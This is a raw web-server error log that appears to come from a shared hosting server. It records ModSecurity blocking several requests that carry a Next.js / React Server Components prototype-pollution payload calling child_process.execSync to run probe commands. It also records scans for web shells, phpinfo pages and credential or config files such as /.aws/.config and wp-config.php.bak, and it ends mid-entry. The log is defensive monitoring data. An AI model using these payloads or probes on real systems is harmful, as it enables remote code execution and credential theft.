"(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "webmail.pcenterdata.com"] [uri "/"] [unique_id "aUNZnNOX4f5e9cApHV68KAAAAFc"] [Wed Dec 17 20:46:25.707281 2025] [:error] [pid 26922:tid 26934] [client 4.229.227.231:44270] [client 4.229.227.231] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('echo $((40255*41656))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22,\\x22_chunks\\x22:\\x22$Q2\\x22,\\x22_formData\\x22:{\\x22get\\..."] [sever [hostname "www.ayqiq.com"] [uri "/"] [unique_id "aUNc8R-ZhhQE392Hz3MuZAAAAMo"] [Wed Dec 17 20:46:25.798758 2025] [:error] [pid 26418:tid 26483] [client 4.229.227.231:44274] [client 4.229.227.231] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('powershell -c \\x5c\\x2240255*41656\\x5c\\x22').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22,\\x22_chunks\\x22:\\x22$Q2\\x22,\\x22_fo..."] [sever [hostname "www.ayqiq.com"] [uri "/"] [unique_id "aUNc8RQC3tFnrG06s5poggAAAAQ"] [Wed Dec 17 21:46:34.858680 2025] [:error] [pid 26922:tid 26945] [client 4.241.176.112:46842] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Wed Dec 17 21:46:35.038584 2025] [:error] [pid 26418:tid 26490] [client 4.241.176.112:46848] File does not exist: /usr/local/apache/htdocs/abcd.php [Wed Dec 17 21:46:35.214253 2025] [:error] [pid 26922:tid 26929] [client 4.241.176.112:46854] File does not exist: /usr/local/apache/htdocs/gmo.php [Wed Dec 17 21:46:35.392289 2025] [:error] [pid 26420:tid 26463] [client 4.241.176.112:46860] File does not exist: /usr/local/apache/htdocs/elp.php [Wed Dec 17 21:46:35.587188 2025] [:error] [pid 26922:tid 26941] [client 4.241.176.112:46866] File does not exist: /usr/local/apache/htdocs/aa.php [Wed Dec 17 21:46:35.778277 2025] [:error] [pid 26922:tid 26928] [client 4.241.176.112:46872] File does not exist: /usr/local/apache/htdocs/file.php [Wed Dec 17 21:46:35.961579 2025] [:error] [pid 26418:tid 26485] [client 4.241.176.112:46878] File does not exist: /usr/local/apache/htdocs/wp-file.php [Wed Dec 17 21:46:36.141487 2025] [:error] [pid 26419:tid 26438] [client 4.241.176.112:46884] File does not exist: /usr/local/apache/htdocs/k.php [Wed Dec 17 21:46:36.320900 2025] [:error] [pid 26419:tid 26434] [client 4.241.176.112:46890] File does not exist: /usr/local/apache/htdocs/al.php [Wed Dec 17 21:46:36.703037 2025] [:error] [pid 26420:tid 26458] [client 4.241.176.112:46904] File does not exist: /usr/local/apache/htdocs/admin.php [Wed Dec 17 21:46:36.890913 2025] [:error] [pid 26419:tid 26436] [client 4.241.176.112:46912] File does not exist: /usr/local/apache/htdocs/file2.php [Wed Dec 17 21:46:37.064927 2025] [:error] [pid 26922:tid 26932] [client 4.241.176.112:46918] File does not exist: /usr/local/apache/htdocs/as.php [Wed Dec 17 21:46:37.246443 2025] [:error] [pid 26420:tid 26465] [client 4.241.176.112:46924] File does not exist: /usr/local/apache/htdocs/f35.php [Wed Dec 17 21:46:37.419516 2025] [:error] [pid 26420:tid 26464] [client 4.241.176.112:46930] File does not exist: /usr/local/apache/htdocs/akc.php [Wed Dec 17 21:46:37.598709 2025] [:error] [pid 26922:tid 26924] [client 4.241.176.112:46936] File does not exist: /usr/local/apache/htdocs/chosen.php [Wed Dec 17 21:46:37.781712 2025] [:error] [pid 26922:tid 26939] [client 4.241.176.112:46942] File does not exist: /usr/local/apache/htdocs/classsmtps.php [Wed Dec 17 21:46:37.956377 2025] [:error] [pid 26420:tid 26477] [client 4.241.176.112:46948] File does not exist: /usr/local/apache/htdocs/classwithtostring.php [Wed Dec 17 21:46:38.136778 2025] [:error] [pid 26420:tid 26460] [client 4.241.176.112:46954] File does not exist: /usr/local/apache/htdocs/dropdown.php [Wed Dec 17 21:46:38.324098 2025] [:error] [pid 26420:tid 26459] [client 4.241.176.112:46960] File does not exist: /usr/local/apache/htdocs/cong.php [Wed Dec 17 21:46:38.497957 2025] [:error] [pid 26420:tid 26463] [client 4.241.176.112:46966] File does not exist: /usr/local/apache/htdocs/about.php [Wed Dec 17 21:46:38.674955 2025] [:error] [pid 26419:tid 26432] [client 4.241.176.112:46972] File does not exist: /usr/local/apache/htdocs/edit.php [Wed Dec 17 21:46:38.861359 2025] [:error] [pid 26418:tid 26499] [client 4.241.176.112:46978] File does not exist: /usr/local/apache/htdocs/browse.php [Wed Dec 17 21:46:39.050443 2025] [:error] [pid 26922:tid 26936] [client 4.241.176.112:46984] File does not exist: /usr/local/apache/htdocs/wp-signup.php [Wed Dec 17 21:46:39.419300 2025] [:error] [pid 26420:tid 26475] [client 4.241.176.112:46996] File does not exist: /usr/local/apache/htdocs/atomlib.php [Wed Dec 17 21:46:39.616189 2025] [:error] [pid 26420:tid 26461] [client 4.241.176.112:47002] File does not exist: /usr/local/apache/htdocs/autoload_classmap.php [Wed Dec 17 21:46:40.336969 2025] [:error] [pid 26419:tid 26438] [client 4.241.176.112:47030] File does not exist: /usr/local/apache/htdocs/backup.php [Wed Dec 17 21:46:40.513682 2025] [:error] [pid 26419:tid 26434] [client 4.241.176.112:47036] File does not exist: /usr/local/apache/htdocs/cache.php [Wed Dec 17 21:46:40.686954 2025] [:error] [pid 26420:tid 26453] [client 4.241.176.112:47042] File does not exist: /usr/local/apache/htdocs/cc.php [Wed Dec 17 21:46:40.864726 2025] [:error] [pid 26922:tid 26945] [client 4.241.176.112:47048] File does not exist: /usr/local/apache/htdocs/wp.php [Wed Dec 17 21:46:41.047230 2025] [:error] [pid 26418:tid 26489] [client 4.241.176.112:47054] File does not exist: /usr/local/apache/htdocs/fw.php [Wed Dec 17 21:46:41.222599 2025] [:error] [pid 26922:tid 26936] [client 4.241.176.112:47060] File does not exist: /usr/local/apache/htdocs/bolt.php [Wed Dec 17 21:46:41.411064 2025] [:error] [pid 26922:tid 26938] [client 4.241.176.112:47068] File does not exist: /usr/local/apache/htdocs/gebase.php [Wed Dec 17 21:46:41.595824 2025] [:error] [pid 26420:tid 26473] [client 4.241.176.112:47076] File does not exist: /usr/local/apache/htdocs/makeasmtp.php [Wed Dec 17 21:46:41.779520 2025] [:error] [pid 26922:tid 26941] [client 4.241.176.112:47084] File does not exist: /usr/local/apache/htdocs/doc.php [Wed Dec 17 21:46:41.954810 2025] [:error] [pid 26420:tid 26462] [client 4.241.176.112:47090] File does not exist: /usr/local/apache/htdocs/e.php [Wed Dec 17 21:46:42.133821 2025] [:error] [pid 26418:tid 26490] [client 4.241.176.112:47096] File does not exist: /usr/local/apache/htdocs/f35.php [Wed Dec 17 21:46:42.317870 2025] [:error] [pid 26420:tid 26475] [client 4.241.176.112:47102] File does not exist: /usr/local/apache/htdocs/fi2.php [Wed Dec 17 21:46:42.507037 2025] [:error] [pid 26922:tid 26944] [client 4.241.176.112:47110] File does not exist: /usr/local/apache/htdocs/filemanager.php [Wed Dec 17 21:46:42.699152 2025] [:error] [pid 26418:tid 26485] [client 4.241.176.112:47116] File does not exist: /usr/local/apache/htdocs/go.php [Wed Dec 17 21:46:42.877309 2025] [:error] [pid 26922:tid 26938] [client 4.241.176.112:47124] File does not exist: /usr/local/apache/htdocs/inputs.php [Wed Dec 17 21:46:43.062942 2025] [:error] [pid 26922:tid 26948] [client 4.241.176.112:47132] File does not exist: /usr/local/apache/htdocs/alfa.php [Wed Dec 17 21:46:43.252794 2025] [:error] [pid 26922:tid 26931] [client 4.241.176.112:47138] File does not exist: /usr/local/apache/htdocs/ioxi-o.php [Wed Dec 17 21:46:43.440321 2025] [:error] [pid 26922:tid 26934] [client 4.241.176.112:47144] File does not exist: /usr/local/apache/htdocs/item.php [Wed Dec 17 21:46:43.623610 2025] [:error] [pid 26922:tid 26941] [client 4.241.176.112:47152] File does not exist: /usr/local/apache/htdocs/jp.php [Wed Dec 17 21:46:43.804695 2025] [:error] [pid 26419:tid 26432] [client 4.241.176.112:47160] File does not exist: /usr/local/apache/htdocs/load.php [Wed Dec 17 21:46:44.005424 2025] [:error] [pid 26419:tid 26447] [client 4.241.176.112:47166] File does not exist: /usr/local/apache/htdocs/1.php [Wed Dec 17 21:46:44.199858 2025] [:error] [pid 26420:tid 26465] [client 4.241.176.112:47174] File does not exist: /usr/local/apache/htdocs/13.php [Wed Dec 17 21:46:44.375310 2025] [:error] [pid 26419:tid 26435] [client 4.241.176.112:47180] File does not exist: /usr/local/apache/htdocs/lv.php [Wed Dec 17 21:46:44.549995 2025] [:error] [pid 26922:tid 26930] [client 4.241.176.112:47186] File does not exist: /usr/local/apache/htdocs/default.php [Wed Dec 17 21:46:44.724433 2025] [:error] [pid 26420:tid 26460] [client 4.241.176.112:47192] File does not exist: /usr/local/apache/htdocs/manager.php [Wed Dec 17 21:46:44.916356 2025] [:error] [pid 26420:tid 26462] [client 4.241.176.112:47198] File does not exist: /usr/local/apache/htdocs/mar.php [Wed Dec 17 21:46:45.101888 2025] [:error] [pid 26922:tid 26937] [client 4.241.176.112:47208] File does not exist: /usr/local/apache/htdocs/moon.php [Wed Dec 17 21:46:45.288614 2025] [:error] [pid 26922:tid 26927] [client 4.241.176.112:47216] File does not exist: /usr/local/apache/htdocs/new.php [Wed Dec 17 21:46:45.466699 2025] [:error] [pid 26922:tid 26928] [client 4.241.176.112:47222] File does not exist: /usr/local/apache/htdocs/NewFile.php [Wed Dec 17 21:46:45.661695 2025] [:error] [pid 26419:tid 26445] [client 4.241.176.112:47228] File does not exist: /usr/local/apache/htdocs/past.php [Wed Dec 17 21:46:46.035201 2025] [:error] [pid 26419:tid 26444] [client 4.241.176.112:47242] File does not exist: /usr/local/apache/htdocs/shell.php [Wed Dec 17 21:46:46.231584 2025] [:error] [pid 26922:tid 26929] [client 4.241.176.112:47250] File does not exist: /usr/local/apache/htdocs/simple.php [Wed Dec 17 21:46:46.620018 2025] [:error] [pid 26922:tid 26928] [client 4.241.176.112:47262] File does not exist: /usr/local/apache/htdocs/wp-trackback.php [Wed Dec 17 21:46:46.823672 2025] [:error] [pid 26922:tid 26926] [client 4.241.176.112:47268] File does not exist: /usr/local/apache/htdocs/updates.php [Wed Dec 17 21:46:47.005931 2025] [:error] [pid 26420:tid 26472] [client 4.241.176.112:47276] File does not exist: /usr/local/apache/htdocs/403.php [Wed Dec 17 21:46:47.188173 2025] [:error] [pid 26419:tid 26427] [client 4.241.176.112:47282] File does not exist: /usr/local/apache/htdocs/x.php [Wed Dec 17 21:46:47.379451 2025] [:error] [pid 26922:tid 26932] [client 4.241.176.112:47290] File does not exist: /usr/local/apache/htdocs/y.php [Wed Dec 17 21:46:48.327298 2025] [:error] [pid 26418:tid 26493] [client 4.241.176.112:47324] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/muse.php [Wed Dec 17 21:46:48.505456 2025] [:error] [pid 26922:tid 26944] [client 4.241.176.112:47328] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/about.php [Wed Dec 17 21:58:59.307882 2025] [:error] [pid 26922:tid 26934] [client 169.150.203.195:36042] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Wed Dec 17 21:58:59.829951 2025] [:error] [pid 26420:tid 26465] [client 169.150.203.195:36070] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Wed Dec 17 22:37:30.026472 2025] [:error] [pid 26420:tid 26466] [client 149.13.91.181:33458] [client 149.13.91.181] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "198.199.72.26"] [uri "/.aws/.config"] [unique_id "aUN2-jjqDqoGYB5uu9-TGQAAAI0"] [Wed Dec 17 22:37:34.621628 2025] [:error] [pid 26419:tid 26437] [client 149.13.91.181:33582] [client 149.13.91.181] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "198.199.72.26"] [uri "/s3cmd.ini"] [unique_id "aUN2_tOX4f5e9cApHV7u6QAAAEo"] [Wed Dec 17 22:37:48.370461 2025] [:error] [pid 26420:tid 26464] [client 149.13.91.181:33946] [client 149.13.91.181] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "198.199.72.26"] [uri "/.config"] [unique_id "aUN3DDjqDqoGYB5uu9-TWQAAAIs"] [Wed Dec 17 22:37:52.147141 2025] [:error] [pid 26922:tid 26927] [client 149.13.91.181:34050] File does not exist: /usr/local/apache/htdocs/config.php [Wed Dec 17 22:37:53.428640 2025] [:error] [pid 26922:tid 26941] [client 149.13.91.181:34078] File does not exist: /usr/local/apache/htdocs/configuration.php [Wed Dec 17 22:38:00.699141 2025] [:error] [pid 26922:tid 26938] [client 149.13.91.181:34268] File does not exist: /usr/local/apache/htdocs/phpinfo.php [Wed Dec 17 22:38:01.866458 2025] [:error] [pid 26922:tid 26931] [client 149.13.91.181:34300] File does not exist: /usr/local/apache/htdocs/info.php [Wed Dec 17 22:38:03.030223 2025] [:error] [pid 26922:tid 26934] [client 149.13.91.181:34330] File does not exist: /usr/local/apache/htdocs/infos.php [Wed Dec 17 22:38:04.206758 2025] [:error] [pid 26420:tid 26462] [client 149.13.91.181:34358] File does not exist: /usr/local/apache/htdocs/php_info.php [Wed Dec 17 22:38:05.356009 2025] [:error] [pid 26922:tid 26931] [client 149.13.91.181:34394] File does not exist: /usr/local/apache/htdocs/php-info.php [Wed Dec 17 22:38:06.669344 2025] [:error] [pid 26922:tid 26943] [client 149.13.91.181:34430] File does not exist: /usr/local/apache/htdocs/pinfo.php [Wed Dec 17 22:38:07.838798 2025] [:error] [pid 26922:tid 26943] [client 149.13.91.181:34456] File does not exist: /usr/local/apache/htdocs/temp.php [Wed Dec 17 22:38:08.993804 2025] [:error] [pid 26922:tid 26927] [client 149.13.91.181:34484] File does not exist: /usr/local/apache/htdocs/test.php [Wed Dec 17 22:38:13.576235 2025] [:error] [pid 26922:tid 26935] [client 149.13.91.181:34606] File does not exist: /usr/local/apache/htdocs/linusadmin-phpinfo.php [Wed Dec 17 22:38:14.774322 2025] [:error] [pid 26922:tid 26935] [client 149.13.91.181:34632] File does not exist: /usr/local/apache/htdocs/php.php [Wed Dec 17 22:38:18.546701 2025] [:error] [pid 26922:tid 26935] [client 149.13.91.181:34734] File does not exist: /usr/local/apache/htdocs/app_dev.php [Wed Dec 17 22:38:19.703456 2025] [:error] [pid 26419:tid 26427] [client 149.13.91.181:34766] File does not exist: /usr/local/apache/htdocs/wp-config.php.bak [Wed Dec 17 22:38:20.820393 2025] [:error] [pid 26922:tid 26924] [client 149.13.91.181:34796] File does not exist: /usr/local/apache/htdocs/settings.php.bak [Wed Dec 17 22:38:21.959452 2025] [:error] [pid 26922:tid 26934] [client 149.13.91.181:34826] File does not exist: /usr/local/apache/htdocs/configuration.php.bak [Wed Dec 17 22:38:23.073666 2025] [:error] [pid 26418:tid 26493] [client 149.13.91.181:34856] File does not exist: /usr/local/apache/htdocs/config.php.bak [Wed Dec 17 22:38:25.320916 2025] [:error] [pid 26420:tid 26473] [client 149.13.91.181:34920] [client 149.13.91.181] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "198.199.72.26"] [uri "/configs/application.ini"] [unique_id "aUN3MTjqDqoGYB5uu9-TmwAAAJQ"] [Wed Dec 17 23:34:33.493055 2025] [:error] [pid 26922:tid 26927] [client 18.194.207.65:53842] [client 18.194.207.65] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "cpanel.pcenterdata.com"] [uri "/"] [unique_id "aUOEWR-ZhhQE392Hz3P_6AAAAMM"] [Wed Dec 17 23:36:19.831622 2025] [:error] [pid 26922:tid 26933] [client 35.89.76.228:56448] [client 35.89.76.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.pcenterdata.com"] [uri "/"] [unique_id "aUOEwx-ZhhQE392Hz3MCKQAAAMk"] [Wed Dec 17 23:43:27.529364 2025] [:error] [pid 26419:tid 26427] [client 18.182.32.84:38098] [client 18.182.32.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "mail.pcenterdata.com"] [uri "/"] [unique_id "aUOGb9OX4f5e9cApHV4GcQAAAEA"] [Wed Dec 17 23:56:05.192819 2025] [:error] [pid 26922:tid 26942] [client 54.180.26.174:55348] [client 54.180.26.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "webmail.pcenterdata.com"] [uri "/"] [unique_id "aUOJZR-ZhhQE392Hz3MZmQAAANI"] [Thu Dec 18 00:23:55.219483 2025] [:error] [pid 26418:tid 26496] [client 34.216.137.169:36254] [client 34.216.137.169] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var 